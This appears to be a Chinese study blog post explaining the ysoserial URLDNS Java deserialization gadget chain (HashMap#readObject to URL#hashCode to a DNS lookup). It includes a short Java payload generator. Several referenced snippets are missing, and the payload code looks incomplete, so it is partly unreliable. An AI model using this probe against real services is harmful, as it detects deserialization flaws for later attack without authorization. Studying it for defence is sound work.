URLDNS是ysoserial中的一个利用链, 这里学习的是P牛的简化版链子.
这条链子基于Java内置的类即可构造, 但是也仅仅可以用于触发DNSlog,所以比较适合用来探测反序列化漏洞是否存在.
URL Class
这条链的主角是URL Class和HashMap Class. 先看URL Class:
它的hashCode方法:
会调用URLStreamHandler.hashCode方法:
而URLStreamHandler#HashCode又调用了getHostAddress方法, 这个函数的功能就像它的名字显示的这样, 获取一个主机的IP地址, 也就是会进行一次DNS查询:
HashMap
那么现在就只需要一个Class的readObject方法可以调用URL#hashCode即可, 然后就要看一下在反序列化中非常常见的HashMap类:
在其readObject方法中有如下的一段代码:
hash(key) -> key.hashcode()
payload
调用链梳理:
HashMap#readObject
-> URL#hashCode
-> URLStreamHandler#hashCode
-> URLStreamHandler#getHostAddress
-> InetAddress#getByName(url)
package test.com;
import java.io.IOException;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsChain {
public static byte[] Payload(String url) throws IOException {
HashMap map = new HashMap();
URL u = new URL("", url, null);
map.put(u,1);
return Serializer.Serialize(map);
}
}
思考
- 为什么hashMap会调用key的hashCode?
- 为什么URL的hashCode会调用URLStreamHandler#getHostAddress?